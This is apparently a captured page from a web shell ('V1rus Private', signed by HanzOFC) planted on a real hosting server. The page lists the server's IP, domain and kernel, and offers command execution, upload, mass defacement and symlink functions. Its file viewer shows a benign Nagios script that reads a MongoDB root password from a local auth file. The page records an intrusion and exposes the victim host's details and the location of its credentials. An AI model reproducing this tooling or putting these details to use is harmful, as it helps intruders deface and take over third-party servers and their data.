V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
lib64
/
nagios
/
plugins
/
Viewing: check_jetbackup_mongodb
#!/bin/bash if [ ! -f "/usr/local/jetapps/etc/.mongod.auth" ]; then echo "[OK]: JetBackup is not installed on this server" exit 0 fi PASS=$(cat /usr/local/jetapps/etc/.mongod.auth | grep '^PASS=' | awk -F'=' '{print $2}') if [[ -x /usr/local/jetapps/usr/bin/mongo ]]; then bin_jetmongocli=/usr/local/jetapps/usr/bin/mongo elif [[ -x /usr/local/jetapps/usr/bin/mongosh ]]; then bin_jetmongocli=/usr/local/jetapps/usr/bin/mongosh else echo "CRITICAL: mongo cli not found" exit 2 fi OK=$(${bin_jetmongocli} --port 27217 --username=root --password="$PASS" --authenticationDatabase=admin --quiet jetbackup --eval "printjson(db.stats().ok)") if [ "$?" != "0" ]; then echo 'CRITICAL: Failed to connect to jetmongo'; exit 2; fi if [ "$OK" != "1" ]; then echo 'CRITICAL: jetmongo is not working'; exit 2; fi echo 'OK: jetmongo is working'; exit 0;
Coded With 💗 by
HanzOFC